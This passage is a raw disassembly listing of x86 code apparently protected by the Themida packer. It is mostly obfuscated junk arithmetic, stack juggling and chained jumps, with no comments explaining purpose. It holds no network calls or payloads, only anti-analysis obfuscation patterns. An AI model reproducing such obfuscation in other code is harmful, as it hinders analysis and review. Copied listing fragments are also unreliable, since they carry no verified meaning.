		shr	al, 4
		jmp	loc_55CF92
; ---------------------------------------------------------------------------


loc_55880C:				; CODE XREF: sub_559C84-3491j
		sub	esi, 0B4779838h
		or	ebx, esi
		pop	esi
		not	ebx
		not	ebx
		not	ebx
		or	ebx, 58880FFEh
		jmp	loc_55CEFB
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558826:				; CODE XREF: Themida_:00556F53j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5557A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55883A:				; CODE XREF: sub_559C84+17BEj
		add	esp, 4
		push	edx
		dec	[esp+5Ch+var_5C]
		pop	edx
		jmp	loc_55F58E
; ---------------------------------------------------------------------------


loc_558847:				; CODE XREF: sub_559C84-5CC4j
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	[esp-2+arg_0+2]
		pop	ebx
		pop	dword ptr [esp+0]
		pop	esp
		mov	ax, word ptr [esp-0Ah+arg_4+2]
		push	1AC8h
		mov	[esp-6+arg_0+2], esi
		push	esp
		pop	esi
		push	ecx
		push	ebx
		mov	ebx, 4C164E09h
		push	eax
		mov	eax, 4C164E0Dh
		mov	ecx, eax
		jmp	loc_558969
; ---------------------------------------------------------------------------


loc_558876:				; CODE XREF: sub_559C84-631Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		jmp	loc_55F87B
; ---------------------------------------------------------------------------


loc_558884:				; CODE XREF: sub_559C84-393Ej
		pop	esi
		jmp	loc_55B191
; ---------------------------------------------------------------------------


loc_55888A:				; CODE XREF: sub_559C84+4A8Cj
		add	edx, edi
		mov	edi, [esp+4Ah+var_4A]
		add	esp, 4
		push	ebx
		mov	ebx, 387F2671h
		jmp	loc_558A6F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 21F019D7h
		sub	eax, 21F019D3h
		add	esi, eax
		pop	eax
		push	ebx
		mov	ebx, 73DF2D37h
		push	edi
		mov	edi, 6392BCAh
		xor	edi, 0E9E503Ah
		dec	edi
		xor	edi, 20AF1456h
		add	edi, 49880D3Dh
		jmp	loc_55EE6F
; ---------------------------------------------------------------------------


loc_5588E3:				; CODE XREF: Themida_:005558AEj
		mov	ax, 21B5h
		push	ax
		jmp	loc_555796
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5588EE:				; CODE XREF: sub_559C84+312Bj
		push	eax
		push	14904665h
		pop	eax
		jmp	loc_55C038
; ---------------------------------------------------------------------------


loc_5588FA:				; CODE XREF: sub_559C84+186Cj
		mov	[esp+4Eh+var_4E], ecx
		push	29EE0926h
		pop	ecx
		xor	ecx, 5C540DD0h
		mov	edx, ecx
		jmp	loc_55A454
; ---------------------------------------------------------------------------


loc_558910:				; CODE XREF: sub_559C84+8A9j
		sub	dl, 3Ch
		push	ebx
		mov	bl, dl
		mov	ch, bl
		pop	ebx
		mov	edx, [esp+4Eh+var_4E]
		add	esp, 4
		jmp	loc_55C81A
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554572


loc_558924:				; CODE XREF: sub_554572+2E5j
		push	edx
		mov	edx, 2
		add	esi, 6D9363CFh
		add	esi, edx
		push	ecx
		mov	ecx, 2BB2100Ch
		or	ecx, 3BCA4296h
		jmp	loc_55EBE5
; END OF FUNCTION CHUNK	FOR sub_554572
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558943:				; CODE XREF: sub_559C84+79j
		push	5C7Ah
		mov	[esp+4Eh+var_4E], edi
		jmp	loc_558313
; ---------------------------------------------------------------------------


loc_558950:				; CODE XREF: sub_559C84+4F2Bj
		or	dl, 0CEh
		jmp	loc_55EC75
; ---------------------------------------------------------------------------


loc_558958:				; CODE XREF: sub_559C84-2E29j
		pop	ecx
		jmp	loc_55DF36
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55895E	proc near		; CODE XREF: sub_559C84+5F02j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055385D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055396C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055E35D SIZE 0000000F BYTES

		push	ebp
		mov	ebp, 4
		jmp	loc_55396C
sub_55895E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558969:				; CODE XREF: sub_559C84-1413j
		pop	eax
		jmp	loc_55FB14
; ---------------------------------------------------------------------------


loc_55896F:				; CODE XREF: sub_559C84+168Ej
		push	5396h
		mov	[esp+6+var_8+2], esi
		mov	esi, 40DB5B55h
		jmp	loc_5565FD
; ---------------------------------------------------------------------------


loc_558981:				; CODE XREF: sub_559C84+2168j
		add	ebp, edx
		pop	edx
		jmp	loc_557FCF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_55B188
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558991:				; CODE XREF: sub_559C84+3310j
		and	al, 91h
		add	al, 0BCh
		or	al, 0D1h
		xor	al, 87h
		jmp	loc_55964B
; ---------------------------------------------------------------------------


loc_55899E:				; CODE XREF: sub_559C84-46CEj
		push	[esp+42h+var_3E]
		pop	edx
		pop	[esp+42h+var_42]
		mov	esp, [esp+3Eh+var_3E]
		push	1
		push	[esp+42h+var_42]
		pop	eax
		sub	esp, 4
		mov	[esp+46h+var_46], edx
		push	esp
		jmp	loc_55BC60
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5589C1	proc near		; DATA XREF: Themida_:00553454o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553973 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055658F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558B37 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559B17 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0055EEAE SIZE 0000002E BYTES

		lodsd
		add	esi, 70DA160Ch
		add	esi, 48060A1Dh
		add	esi, eax
		sub	esi, 48060A1Dh
		sub	esp, 4
		jmp	loc_55658F
sub_5589C1	endp

; ---------------------------------------------------------------------------


loc_5589DE:				; CODE XREF: Themida_:005592C9j
		mov	[esp], esp
		jmp	loc_553E89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5589E6:				; CODE XREF: sub_559C84-5E9Ej
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	[esp+8+var_8], 4C950893h
		push	ebp
		mov	ebp, 7E5E3C9Ah
		add	[esp+0Ch+var_8], ebp
		mov	ebp, [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55EDD2
; ---------------------------------------------------------------------------


loc_558A0D:				; CODE XREF: sub_559C84+12FFj
		mov	edx, 6E2A058Ch
		jmp	loc_55AE3C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5571E4


loc_558A17:				; CODE XREF: sub_5571E4+33j
		push	32C4h
		mov	[esp+4+var_4], esi
		jmp	loc_557E0D
; END OF FUNCTION CHUNK	FOR sub_5571E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558A24:				; CODE XREF: sub_559C84+1ECj
		add	esp, 4
		xor	esi, 0ECC84E7Fh
		xor	eax, esi
		pop	esi
		xor	ebx, eax
		sub	edx, 25125115h
		sub	edx, eax
		jmp	loc_55C525
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5591C7


loc_558A3F:				; CODE XREF: sub_5591C7+Dj
		add	edi, ebx
		jmp	loc_554198
; END OF FUNCTION CHUNK	FOR sub_5591C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5559F0


loc_558A46:				; CODE XREF: sub_5559F0+F3Cj
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_557294
; END OF FUNCTION CHUNK	FOR sub_5559F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558A5D:				; CODE XREF: sub_559C84+158Bj
		xchg	esi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], eax
		push	[esp+4+var_4]
		mov	ebx, [esp+8+var_8]
		jmp	sub_555835
; ---------------------------------------------------------------------------


loc_558A6F:				; CODE XREF: sub_559C84-13ECj
		dec	ebx
		add	ebx, 3A8ADA08h
		jmp	loc_55BDDD
; ---------------------------------------------------------------------------


loc_558A7B:				; CODE XREF: sub_559C84-60EEj
		push	37E7h
		mov	[esp+32h+var_34+2], esi
		mov	esi, 3F3A4300h
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 37542766h
		and	edx, 4BC67DE1h
		inc	edx
		add	edx, 6DE10057h
		mov	ebx, edx
		jmp	loc_555D19
; ---------------------------------------------------------------------------


loc_558AA7:				; CODE XREF: sub_559C84-97Aj
		mov	edx, 0BFFFFB7Ah
		jmp	loc_556445
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5599A2


loc_558AB1:				; CODE XREF: sub_5599A2+1j
		mov	ebx, 0EE836AAh
		dec	ebx
		shr	ebx, 4
		add	ebx, 18732FB4h
		xor	ebx, 186E2D38h
		sub	ebx, 72F30652h
		sub	ebx, 1DD57739h
		sub	edx, ebx
		pop	ebx
		shr	edx, 3
		xor	edx, 7BC64FCFh
		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		mov	ecx, 29B77856h
		xor	edx, ecx
		pop	ecx
		jmp	loc_55666C
; END OF FUNCTION CHUNK	FOR sub_5599A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558AF4:				; CODE XREF: sub_559C84-1A85j
		pop	edi
		xor	ebx, edx
		pop	edx
		sub	edx, 1AE96CEBh
		add	edx, ebx
		add	edx, 1AE96CEBh
		pop	ebx
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_558B0C:				; CODE XREF: sub_559C84-820j
		xor	ch, al
		pop	eax
		xor	ch, 0EEh
		and	bh, ch
		jmp	loc_55E446
; ---------------------------------------------------------------------------


loc_558B19:				; CODE XREF: sub_559C84+E87j
		dec	ecx
		sub	ecx, 65924DBEh
		push	eax
		mov	eax, 44AC60CEh
		xor	ecx, eax
		pop	eax
		add	ecx, 0A159A897h
		add	ebp, ecx
		pop	ecx
		jmp	loc_55E653
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5589C1


loc_558B37:				; CODE XREF: sub_5589C1+1179j
		pop	ebp
		pop	edx
		add	ebp, 1F794246h
		dec	ebp
		jmp	loc_55EEAE
; END OF FUNCTION CHUNK	FOR sub_5589C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558B45:				; CODE XREF: sub_559C84-48F0j
		sub	edi, 7D7052D4h
		sub	edi, 23D62CFAh
		add	eax, edi
		mov	edi, [esp+3Ch+var_3E+2]
		add	esp, 4
		jmp	loc_55AC4F
; ---------------------------------------------------------------------------


loc_558B61:				; CODE XREF: sub_559C84+29F4j
		xor	ecx, edi
		jmp	loc_5556EF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558B70:				; CODE XREF: sub_559C84-2283j
		pop	ecx
		xor	ecx, 56F442AAh
		inc	ecx
		add	ecx, 151927DAh
		mov	edi, ecx
		pop	ecx
		add	ecx, edi
		jmp	loc_5593B1
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558B88:				; CODE XREF: Themida_:005566D2j
		add	esp, 4
		pop	ecx
		jmp	loc_5562DB

; =============== S U B	R O U T	I N E =======================================



sub_558B94	proc near		; CODE XREF: sub_559B47-507Cj

var_2		= word ptr -2

		push	bx
		sub	[esp+2+var_2], 0FFFFh
		pop	bx
		jmp	loc_55B54D
sub_558B94	endp


; =============== S U B	R O U T	I N E =======================================



sub_558BA2	proc near		; CODE XREF: sub_55DC14-9C9Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055391C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00553AC8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00557852 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005578DA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00558001 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055975F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055978F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055EAA8 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 0C57F45B7h
		jmp	loc_558001
sub_558BA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_558BB5	proc near		; DATA XREF: Themida_:00553440o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00559C2A SIZE 00000015 BYTES

		mov	cx, [esp+0]
		push	edi
		push	412Fh
		mov	[esp+8+var_8], esp
		push	ebp
		mov	ebp, 4
		add	[esp+0Ch+var_8], ebp
		jmp	loc_559C2A
sub_558BB5	endp

; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5554EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558BE5:				; CODE XREF: sub_559C84-3EB9j
		push	esi
		jmp	loc_5558CD
; ---------------------------------------------------------------------------


loc_558BEB:				; CODE XREF: sub_559C84-648Fj
		mov	ebx, [esp+24h+var_24]
		add	esp, 4
		add	al, ch
		pop	ecx
		push	eax
		mov	al, 0Ch
		push	ecx
		mov	ch, 69h
		neg	ch
		sub	ch, 1Fh
		add	ch, 0D1h
		push	ebx
		jmp	loc_55A508
; ---------------------------------------------------------------------------


loc_558C08:				; CODE XREF: sub_559C84-C36j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_558C0D:				; CODE XREF: sub_559C84+20B7j
		mov	eax, 5F672753h
		and	eax, 50E2092Ah
		add	eax, 0D74B78AFh
		neg	eax
		jmp	loc_55BAF9
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558C23:				; CODE XREF: Themida_:0055353Aj
		add	ebx, 4
		push	4641h
		jmp	loc_55D82C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558C33:				; CODE XREF: sub_559C84+4DEEj
		or	eax, eax
		jz	loc_55408F
		push	602Dh
		mov	[esp+2Ch+var_2C], ebx
		jmp	loc_55C723
; ---------------------------------------------------------------------------


loc_558C48:				; CODE XREF: sub_559C84-1EFDj
		pop	edx
		jmp	loc_55AB08
; ---------------------------------------------------------------------------


loc_558C4E:				; CODE XREF: sub_559C84+1455j
		mov	edi, 1A93130Eh
		dec	edi
		sub	edi, 61D33751h
		jmp	loc_55CE69
; ---------------------------------------------------------------------------


loc_558C5F:				; CODE XREF: sub_559C84-644Dj
		pop	esp
		add	esi, 4
		push	14F6h
		mov	[esp+30h+var_30], ebx
		jmp	loc_5580AB
; ---------------------------------------------------------------------------


loc_558C73:				; CODE XREF: sub_559C84+26D5j
		mov	esi, esp
		jmp	loc_556B05
; ---------------------------------------------------------------------------


loc_558C7A:				; CODE XREF: sub_559C84+1BE9j
		add	di, 3699h
		pop	esi
		xor	ax, di
		mov	di, word ptr [esp+2Ch+var_2C]
		jmp	loc_55CEC3
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_553ACF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F9FD


loc_558C95:				; CODE XREF: sub_55F9FD-9672j
		mov	edx, 5739086Dh
		not	edx
		add	edx, 3A7E0502h
		shr	edx, 8
		sub	edx, 0A3073DE0h
		sub	esi, edx
		pop	edx
		pop	edi
		jmp	loc_55C274
; END OF FUNCTION CHUNK	FOR sub_55F9FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558CB4:				; CODE XREF: sub_559C84+1FD7j
		add	esp, 4
		xor	esi, 204C0EF3h
		or	esi, 2534737Ch
		jmp	loc_559309
; ---------------------------------------------------------------------------


loc_558CC8:				; CODE XREF: sub_559C84+43B7j
		push	edi
		push	esi
		mov	esi, 66D65E03h
		push	4D107FD1h
		pop	edi
		jmp	sub_5598F1
; ---------------------------------------------------------------------------


loc_558CDA:				; CODE XREF: sub_559C84-6AAj
		sub	ebx, 4
		jmp	loc_55D053
; ---------------------------------------------------------------------------


loc_558CE5:				; CODE XREF: sub_559C84-201Fj
		mov	[esp+46h+var_46], eax
		push	7DD7510h
		pop	eax
		shr	eax, 5
		and	eax, 64E51EEEh
		dec	eax
		sub	eax, 0D87BB46Bh
		mov	edx, eax
		jmp	loc_557EAA
; ---------------------------------------------------------------------------


loc_558D03:				; CODE XREF: sub_559C84+3BBEj
		sub	edx, 625B15ECh
		sub	edx, 523A148Ah
		add	edx, eax
		add	edx, 523A148Ah
		push	ebx
		mov	ebx, 26950C04h
		push	esi
		mov	esi, 0
		jmp	loc_555EB4
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558D28:				; CODE XREF: Themida_:0055F70Bj
		movzx	ecx, al
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_55675A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558D39:				; CODE XREF: sub_559C84-6128j
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_557C02
; ---------------------------------------------------------------------------


loc_558D42:				; CODE XREF: sub_559C84+220Fj
		mov	esi, 6AD9274Eh
		jmp	loc_55C4A5
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		jmp	loc_553E20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558D56:				; CODE XREF: sub_559C84+4D5Bj
		pop	esi
		sub	eax, edx
		pop	edx
		jmp	loc_55BD7C
; ---------------------------------------------------------------------------


loc_558D5F:				; CODE XREF: sub_559C84+1CFEj
		sub	eax, ecx
		push	edi
		jmp	loc_55E53D
; ---------------------------------------------------------------------------


loc_558D67:				; CODE XREF: sub_559C84+243Cj
		mov	ebp, eax
		pop	eax
		dec	ebp
		dec	ebp
		jmp	loc_55C219
; ---------------------------------------------------------------------------


loc_558D71:				; CODE XREF: sub_559C84+385Aj
		sub	esi, 51582215h
		push	edx
		mov	edx, 51AC7DD3h
		add	esi, edx
		pop	edx
		shl	esi, 3
		shl	esi, 7
		neg	esi
		not	esi
		sub	esi, 7767F3FBh
		jmp	loc_5581C3
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_558D95	proc near		; CODE XREF: sub_559C84-2053j

; FUNCTION CHUNK AT 00553FCE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055EABE SIZE 00000020 BYTES

		push	ebx
		mov	bh, 9Dh
		sub	bh, 0E4h
		sub	ah, bh
		pop	ebx
		mov	ch, ah
		pop	eax
		jmp	loc_553FCE
sub_558D95	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558DA6:				; CODE XREF: sub_559C84+2CCEj
		add	edx, 4B377430h
		add	edx, ebx
		push	eax
		mov	eax, 4B377430h
		add	edx, 5F071E8Ch
		sub	edx, eax
		jmp	loc_55648A
; ---------------------------------------------------------------------------


loc_558DC1:				; CODE XREF: sub_559C84-4AFFj
		and	cl, 38h
		push	eax
		mov	ah, 15h
		jmp	loc_55B5F1
; ---------------------------------------------------------------------------


loc_558DCC:				; CODE XREF: sub_559C84-5j
		push	eax
		mov	al, 42h
		add	bh, 2Ch
		add	bh, al
		jmp	loc_556F36
; ---------------------------------------------------------------------------


loc_558DD9:				; CODE XREF: sub_559C84-57CFj
		dec	ebp
		xchg	eax, ebp
		not	eax
		push	ebp
		push	eax
		jmp	loc_554355
; ---------------------------------------------------------------------------


loc_558DE4:				; CODE XREF: sub_559C84+3FB9j
		push	esp
		pop	ecx
		push	ebx
		jmp	loc_555247
; ---------------------------------------------------------------------------


loc_558DEC:				; CODE XREF: sub_559C84-3205j
		mov	word ptr [esp+40h+var_42+2], cx
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_558DF5:				; CODE XREF: sub_559C84+5A31j
		mov	ecx, edi
		jmp	loc_5579F5
; ---------------------------------------------------------------------------


loc_558DFC:				; CODE XREF: sub_559C84-6092j
		push	esp
		mov	edx, [esp+20h+var_20]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_55E118
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558E1F:				; CODE XREF: sub_559C84+F5j
		pop	ebp
		push	edx
		push	[esp+20h+var_1C]
		jmp	loc_55FB6A
; ---------------------------------------------------------------------------


loc_558E2A:				; CODE XREF: sub_559C84-2313j
		sub	ebx, 4
		xchg	ebx, [esp+32h+var_34+2]
		pop	esp
		mov	[esp+2Eh+var_30+2], ecx
		mov	ecx, esp
		jmp	sub_55698E
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558E3E:				; CODE XREF: Themida_:0055EEFCj
		xor	ebx, [esp]
		jmp	loc_55DD85
; ---------------------------------------------------------------------------


loc_558E46:				; CODE XREF: Themida_:00553A74j
		and	cx, 6AE0h
		sub	cx, 0D79Ch
		add	ax, cx
		jmp	loc_554210
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558E58:				; CODE XREF: sub_559C84+803j
		shr	eax, 6
		push	edi
		mov	edi, 1C150156h
		inc	edi
		inc	edi
		jmp	loc_55B907
; ---------------------------------------------------------------------------


loc_558E68:				; CODE XREF: sub_559C84+1C09j
		push	26F9h
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_55E1A5
; ---------------------------------------------------------------------------


loc_558E87:				; CODE XREF: sub_559C84-26DDj
		sub	edi, 243AF876h
		add	ecx, 14EB4E92h
		add	ecx, 551A4F5Eh
		add	ecx, edi
		jmp	loc_557B35
; ---------------------------------------------------------------------------


loc_558EA0:				; CODE XREF: sub_559C84+3C89j
		xor	eax, ecx
		pop	ecx
		push	35E6h
		mov	[esp+4Ch+var_4E+2], ebx
		mov	ebx, esp
		jmp	loc_55D440
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558EB2:				; CODE XREF: Themida_:00557934j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558EC7:				; CODE XREF: sub_559C84-441Dj
		push	esi
		mov	esi, 4
		sub	eax, esi
		jmp	loc_5560E7
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_558ED4:				; CODE XREF: Themida_:0055603Aj
		pop	edx
		xor	ch, dh
		jmp	loc_5554CB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55857C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558EE5:				; CODE XREF: sub_559C84-349Bj
		pop	esp
		jmp	loc_55678C
; ---------------------------------------------------------------------------


loc_558EEB:				; CODE XREF: sub_559C84-387Bj
		mov	[esp+5Eh+var_60+2], ebp
		push	5335h
		mov	[esp+62h+var_64+2], esp
		add	[esp+62h+var_64+2], 4
		jmp	loc_559246
; ---------------------------------------------------------------------------


loc_558F02:				; CODE XREF: sub_559C84-6756j
		sub	al, cl
		mov	ecx, [esp+0]
		add	esp, 4
		sub	al, 0Bh
		push	ebx
		mov	bl, 0B0h
		sub	esp, 2
		mov	word ptr [esp+4+var_4],	ax
		push	cx
		mov	cl, 0EAh
		mov	ah, cl
		pop	cx
		xor	bl, ah
		pop	ax
		jmp	loc_55B09C
; ---------------------------------------------------------------------------


loc_558F27:				; CODE XREF: sub_559C84-39C9j
		pop	esp
		sub	word ptr [esp+38h+var_3A+2], ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_558F32:				; CODE XREF: sub_559C84+2ECDj
		push	[esp+3Ch+var_3A+2]
		push	[esp+40h+var_42+2]
		pop	ecx
		add	esp, 4
		pop	[esp+3Ch+var_3E+2]
		pop	esp
		ror	word ptr [esp+34h+var_34], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_558F4B:				; CODE XREF: sub_559C84-19CAj
		pop	edx
		push	ecx
		mov	ecx, 27C61170h
		xor	ecx, 6227B08h
		add	ebx, ecx
		pop	ecx
		jmp	loc_555D1F
; ---------------------------------------------------------------------------


loc_558F60:				; CODE XREF: sub_559C84+13BEj
		pop	edi
		jmp	loc_55F833
; ---------------------------------------------------------------------------


loc_558F66:				; CODE XREF: sub_559C84+5905j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_553A7F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55590A


loc_558F74:				; CODE XREF: sub_55590A+1ED0j
		and	ebp, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_556BC7
; END OF FUNCTION CHUNK	FOR sub_55590A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55DE4E


loc_558F81:				; CODE XREF: sub_55DE4E-A39Fj
		mov	edx, esp
		jmp	loc_55B1E9
; END OF FUNCTION CHUNK	FOR sub_55DE4E
; ---------------------------------------------------------------------------
		push	ebp
		push	eax
		push	59882056h
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	eax
		push	6FA66BEFh
		pop	eax
		push	eax
		mov	eax, 1739699Fh
		push	eax
		jmp	loc_55FC25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558FA9:				; CODE XREF: sub_559C84+404Aj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+3Eh+var_3E]
		pop	esp
		jmp	loc_559A39
; ---------------------------------------------------------------------------


loc_558FBC:				; CODE XREF: sub_559C84-3589j
		shl	edx, 1
		push	edx
		push	318Fh
		mov	[esp+1Ch+var_1C], ecx
		push	3E25h
		jmp	loc_554706
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55F047
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_558FE0:				; CODE XREF: sub_559C84-308Dj
		xchg	ebp, [esp+4Eh+var_4E]
		pop	esp
		or	eax, eax
		jz	loc_55ECA4
		push	dword ptr [edi+1Ch]
		push	[esp+4Eh+var_4E]
		jmp	loc_554D29
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55698E


loc_558FF7:				; CODE XREF: sub_55698E+12j
		sub	ebp, 2BFF7DFAh
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		pop	esp
		mov	[esp-4+arg_0], ebx
		push	ecx
		push	ebx
		mov	bl, 0B1h
		jmp	loc_55742B
; END OF FUNCTION CHUNK	FOR sub_55698E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_559024:				; CODE XREF: sub_559C84-3D96j
		push	edi
		push	ecx
		push	edi
		mov	edi, 1A576F78h
		neg	edi
		and	edi, 426F5097h
		add	edi, 6A0F7C1Ch
		not	edi
		jmp	loc_55DDA2
; ---------------------------------------------------------------------------


loc_559041:				; CODE XREF: sub_559C84+5632j
		add	esp, 4
		pop	[esp+5Eh+var_60+2]
		mov	esp, [esp+5Ah+var_5C+2]
		shl	[esp+5Ah+var_5C+2], cl
		pushf
		jmp	loc_558C08
; ---------------------------------------------------------------------------


loc_559053:				; CODE XREF: sub_559C84-40Fj
		xor	[esp+5Eh+var_60+2], edi
		xor	edi, [esp+5Eh+var_60+2]
		pop	esp
		btc	word ptr [esp+5Ah+var_5C+2], ax
		pushf
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
